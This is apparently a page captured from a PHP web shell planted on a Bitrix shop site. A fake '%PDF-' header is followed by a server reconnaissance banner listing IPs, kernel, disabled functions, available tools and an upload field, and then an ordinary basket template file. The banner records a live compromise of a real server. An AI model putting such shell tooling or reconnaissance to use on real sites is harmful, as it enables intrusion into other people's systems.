%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.145.57.254 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/templates/artantiq/components/bitrix/sale.basket.basket/basket/js-templates/ |
Upload File : |
<? if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true) die(); use Bitrix\Main\Localization\Loc; /** * @var array $mobileColumns * @var array $arParams * @var string $templateFolder */ $usePriceInAdditionalColumn = in_array('PRICE', $arParams['COLUMNS_LIST']) && $arParams['PRICE_DISPLAY_MODE'] === 'Y'; $useSumColumn = in_array('SUM', $arParams['COLUMNS_LIST']); $useActionColumn = in_array('DELETE', $arParams['COLUMNS_LIST']); $restoreColSpan = 2 + $usePriceInAdditionalColumn + $useSumColumn + $useActionColumn; $positionClassMap = array( 'left' => 'basket-item-label-left', 'center' => 'basket-item-label-center', 'right' => 'basket-item-label-right', 'bottom' => 'basket-item-label-bottom', 'middle' => 'basket-item-label-middle', 'top' => 'basket-item-label-top' ); $discountPositionClass = ''; if ($arParams['SHOW_DISCOUNT_PERCENT'] === 'Y' && !empty($arParams['DISCOUNT_PERCENT_POSITION'])) { foreach (explode('-', $arParams['DISCOUNT_PERCENT_POSITION']) as $pos) { $discountPositionClass .= isset($positionClassMap[$pos]) ? ' '.$positionClassMap[$pos] : ''; } } $labelPositionClass = ''; if (!empty($arParams['LABEL_PROP_POSITION'])) { foreach (explode('-', $arParams['LABEL_PROP_POSITION']) as $pos) { $labelPositionClass .= isset($positionClassMap[$pos]) ? ' '.$positionClassMap[$pos] : ''; } } ?> <script id="basket-item-template" type="text/html"> <tr class="basket-items-list-item-container{{#SHOW_RESTORE}} basket-items-list-item-container-expend{{/SHOW_RESTORE}}" id="basket-item-{{ID}}" data-entity="basket-item" data-id="{{ID}}"> {{#SHOW_RESTORE}} <td class="basket-items-list-item-notification" colspan="<?=$restoreColSpan?>"> <div class="basket-items-list-item-notification-inner basket-items-list-item-notification-removed" id="basket-item-height-aligner-{{ID}}"> {{#SHOW_LOADING}} <div class="basket-items-list-item-overlay"></div> {{/SHOW_LOADING}} <div class="basket-items-list-item-removed-container"> <div> <?=Loc::getMessage('SBB_GOOD_CAP')?> <strong>{{NAME}}</strong> <?=Loc::getMessage('SBB_BASKET_ITEM_DELETED')?>. </div> <div class="basket-items-list-item-removed-block"> <a href="javascript:void(0)" data-entity="basket-item-restore-button"> <?=Loc::getMessage('SBB_BASKET_ITEM_RESTORE')?> </a> <span class="basket-items-list-item-clear-btn" data-entity="basket-item-close-restore-button"></span> </div> </div> </div> </td> {{/SHOW_RESTORE}} {{^SHOW_RESTORE}} <td class="basket-items-list-item-descriptions"> <div class="basket-items-list-item-descriptions-inner" id="basket-item-height-aligner-{{ID}}"> <? if (in_array('PREVIEW_PICTURE', $arParams['COLUMNS_LIST'])) { ?> <div class="basket-item-block-image<?=(!isset($mobileColumns['PREVIEW_PICTURE']) ? ' hidden-xs' : '')?>"> {{#DETAIL_PAGE_URL}} <a href="{{DETAIL_PAGE_URL}}" class="basket-item-image-link"> {{/DETAIL_PAGE_URL}} <img class="basket-item-image" alt="{{NAME}}" src="{{{IMAGE_URL}}}{{^IMAGE_URL}}<?=$templateFolder?>/images/no_photo.png{{/IMAGE_URL}}"> {{#SHOW_LABEL}} <div class="basket-item-label-text basket-item-label-big <?=$labelPositionClass?>"> {{#LABEL_VALUES}} <div{{#HIDE_MOBILE}} class="hidden-xs"{{/HIDE_MOBILE}}> <span title="{{NAME}}">{{NAME}}</span> </div> {{/LABEL_VALUES}} </div> {{/SHOW_LABEL}} <? if ($arParams['SHOW_DISCOUNT_PERCENT'] === 'Y') { ?> {{#DISCOUNT_PRICE_PERCENT}} <div class="basket-item-label-ring basket-item-label-small <?=$discountPositionClass?>"> -{{DISCOUNT_PRICE_PERCENT_FORMATED}} </div> {{/DISCOUNT_PRICE_PERCENT}} <? } ?> {{#DETAIL_PAGE_URL}} </a> {{/DETAIL_PAGE_URL}} </div> <? } ?> <div class="basket-item-block-info"> <? if (isset($mobileColumns['DELETE'])) { ?> <span class="basket-item-actions-remove visible-xs" data-entity="basket-item-delete"></span> <? } ?> <h2 class="basket-item-info-name xsm_title"> {{#DETAIL_PAGE_URL}} <a href="{{DETAIL_PAGE_URL}}" class="basket-item-info-name-link"> {{/DETAIL_PAGE_URL}} <span data-entity="basket-item-name">{{NAME}}</span> {{#DETAIL_PAGE_URL}} </a> {{/DETAIL_PAGE_URL}} </h2> {{#NOT_AVAILABLE}} <div class="basket-items-list-item-warning-container"> <div class="alert alert-warning text-center"> <?=Loc::getMessage('SBB_BASKET_ITEM_NOT_AVAILABLE')?>. </div> </div> {{/NOT_AVAILABLE}} {{#DELAYED}} <div class="basket-items-list-item-warning-container"> <div class="alert alert-warning text-center"> <?=Loc::getMessage('SBB_BASKET_ITEM_DELAYED')?>. <a href="javascript:void(0)" data-entity="basket-item-remove-delayed"> <?=Loc::getMessage('SBB_BASKET_ITEM_REMOVE_DELAYED')?> </a> </div> </div> {{/DELAYED}} {{#WARNINGS.length}} <div class="basket-items-list-item-warning-container"> <div class="alert alert-warning alert-dismissable" data-entity="basket-item-warning-node"> <span class="close" data-entity="basket-item-warning-close">×</span> {{#WARNINGS}} <div data-entity="basket-item-warning-text">{{{.}}}</div> {{/WARNINGS}} </div> </div> {{/WARNINGS.length}} <div class="basket-item-block-properties"> <? if (!empty($arParams['PRODUCT_BLOCKS_ORDER'])) { foreach ($arParams['PRODUCT_BLOCKS_ORDER'] as $blockName) { switch (trim((string)$blockName)) { case 'props': if (in_array('PROPS', $arParams['COLUMNS_LIST'])) { ?> {{#PROPS}} <div class="basket-item-property<?=(!isset($mobileColumns['PROPS']) ? ' hidden-xs' : '')?>"> <div class="basket-item-property-name"> {{{NAME}}} </div> <div class="basket-item-property-value" data-entity="basket-item-property-value" data-property-code="{{CODE}}"> {{{VALUE}}} </div> </div> {{/PROPS}} <? } break; case 'sku': ?> {{#SKU_BLOCK_LIST}} {{#IS_IMAGE}} <div class="basket-item-property basket-item-property-scu-image" data-entity="basket-item-sku-block"> <div class="basket-item-property-name">{{NAME}}</div> <div class="basket-item-property-value"> <ul class="basket-item-scu-list"> {{#SKU_VALUES_LIST}} <li class="basket-item-scu-item{{#SELECTED}} selected{{/SELECTED}} {{#NOT_AVAILABLE_OFFER}} not-available{{/NOT_AVAILABLE_OFFER}}" title="{{NAME}}" data-entity="basket-item-sku-field" data-initial="{{#SELECTED}}true{{/SELECTED}}{{^SELECTED}}false{{/SELECTED}}" data-value-id="{{VALUE_ID}}" data-sku-name="{{NAME}}" data-property="{{PROP_CODE}}"> <span class="basket-item-scu-item-inner" style="background-image: url({{PICT}});"></span> </li> {{/SKU_VALUES_LIST}} </ul> </div> </div> {{/IS_IMAGE}} {{^IS_IMAGE}} <div class="basket-item-property basket-item-property-scu-text" data-entity="basket-item-sku-block"> <div class="basket-item-property-name">{{NAME}}</div> <div class="basket-item-property-value"> <ul class="basket-item-scu-list"> {{#SKU_VALUES_LIST}} <li class="basket-item-scu-item{{#SELECTED}} selected{{/SELECTED}} {{#NOT_AVAILABLE_OFFER}} not-available{{/NOT_AVAILABLE_OFFER}}" title="{{NAME}}" data-entity="basket-item-sku-field" data-initial="{{#SELECTED}}true{{/SELECTED}}{{^SELECTED}}false{{/SELECTED}}" data-value-id="{{VALUE_ID}}" data-sku-name="{{NAME}}" data-property="{{PROP_CODE}}"> <span class="basket-item-scu-item-inner">{{NAME}}</span> </li> {{/SKU_VALUES_LIST}} </ul> </div> </div> {{/IS_IMAGE}} {{/SKU_BLOCK_LIST}} {{#HAS_SIMILAR_ITEMS}} <div class="basket-items-list-item-double" data-entity="basket-item-sku-notification"> <div class="alert alert-info alert-dismissable text-center"> {{#USE_FILTER}} <a href="javascript:void(0)" class="basket-items-list-item-double-anchor" data-entity="basket-item-show-similar-link"> {{/USE_FILTER}} <?=Loc::getMessage('SBB_BASKET_ITEM_SIMILAR_P1')?>{{#USE_FILTER}}</a>{{/USE_FILTER}} <?=Loc::getMessage('SBB_BASKET_ITEM_SIMILAR_P2')?> {{SIMILAR_ITEMS_QUANTITY}} {{MEASURE_TEXT}} <br> <a href="javascript:void(0)" class="basket-items-list-item-double-anchor" data-entity="basket-item-merge-sku-link"> <?=Loc::getMessage('SBB_BASKET_ITEM_SIMILAR_P3')?> {{TOTAL_SIMILAR_ITEMS_QUANTITY}} {{MEASURE_TEXT}}? </a> </div> </div> {{/HAS_SIMILAR_ITEMS}} <? break; case 'columns': ?> {{#COLUMN_LIST}} {{#IS_IMAGE}} <div class="basket-item-property-custom basket-item-property-custom-photo {{#HIDE_MOBILE}}hidden-xs{{/HIDE_MOBILE}}" data-entity="basket-item-property"> <div class="basket-item-property-custom-name">{{NAME}}</div> <div class="basket-item-property-custom-value"> {{#VALUE}} <span> <img class="basket-item-custom-block-photo-item" src="{{{IMAGE_SRC}}}" data-image-index="{{INDEX}}" data-column-property-code="{{CODE}}"> </span> {{/VALUE}} </div> </div> {{/IS_IMAGE}} {{#IS_TEXT}} <div class="basket-item-property-custom basket-item-property-custom-text {{#HIDE_MOBILE}}hidden-xs{{/HIDE_MOBILE}}" data-entity="basket-item-property"> <div class="basket-item-property-custom-value sm_text" data-column-property-code="{{CODE}}" data-entity="basket-item-property-column-value"> {{VALUE}} </div> </div> {{/IS_TEXT}} {{#IS_HTML}} <div class="basket-item-property-custom basket-item-property-custom-text {{#HIDE_MOBILE}}hidden-xs{{/HIDE_MOBILE}}" data-entity="basket-item-property"> <div class="basket-item-property-custom-name">{{NAME}}</div> <div class="basket-item-property-custom-value" data-column-property-code="{{CODE}}" data-entity="basket-item-property-column-value"> {{{VALUE}}} </div> </div> {{/IS_HTML}} {{#IS_LINK}} <div class="basket-item-property-custom basket-item-property-custom-text {{#HIDE_MOBILE}}hidden-xs{{/HIDE_MOBILE}}" data-entity="basket-item-property"> <div class="basket-item-property-custom-name">{{NAME}}</div> <div class="basket-item-property-custom-value" data-column-property-code="{{CODE}}" data-entity="basket-item-property-column-value"> {{#VALUE}} {{{LINK}}}{{^IS_LAST}}<br>{{/IS_LAST}} {{/VALUE}} </div> </div> {{/IS_LINK}} {{/COLUMN_LIST}} <? break; } } } ?> </div> </div> {{#SHOW_LOADING}} <div class="basket-items-list-item-overlay"></div> {{/SHOW_LOADING}} </div> </td> <? if ($useSumColumn) { ?> <td class="basket-items-list-item-price<?=(!isset($mobileColumns['SUM']) ? ' hidden-xs' : '')?>"> <div class="basket-item-block-price xl_text"> {{#SHOW_DISCOUNT_PRICE}} <div class="basket-item-price-old"> <span class="basket-item-price-old-text" id="basket-item-sum-price-old-{{ID}}"> {{{SUM_FULL_PRICE_FORMATED}}} </span> </div> {{/SHOW_DISCOUNT_PRICE}} <div class="basket-item-price-current"> <span class="basket-item-price-current-text" id="basket-item-sum-price-{{ID}}"> {{{SUM_PRICE_FORMATED}}} </span> </div> {{#SHOW_DISCOUNT_PRICE}} <div class="basket-item-price-difference"> <?=Loc::getMessage('SBB_BASKET_ITEM_ECONOMY')?> <span id="basket-item-sum-price-difference-{{ID}}" style="white-space: nowrap;"> {{{SUM_DISCOUNT_PRICE_FORMATED}}} </span> </div> {{/SHOW_DISCOUNT_PRICE}} {{#SHOW_LOADING}} <div class="basket-items-list-item-overlay"></div> {{/SHOW_LOADING}} </div> </td> <? } if ($useActionColumn) { ?> <td class="basket-items-list-item-remove hidden-xs"> <div class="basket-item-block-actions"> <div class="basket-item-actions-remove" data-entity="basket-item-delete"><i class="icon icon_close__grey"></i></div> {{#SHOW_LOADING}} <div class="basket-items-list-item-overlay"></div> {{/SHOW_LOADING}} </div> </td> <? } ?> {{/SHOW_RESTORE}} </tr> </script>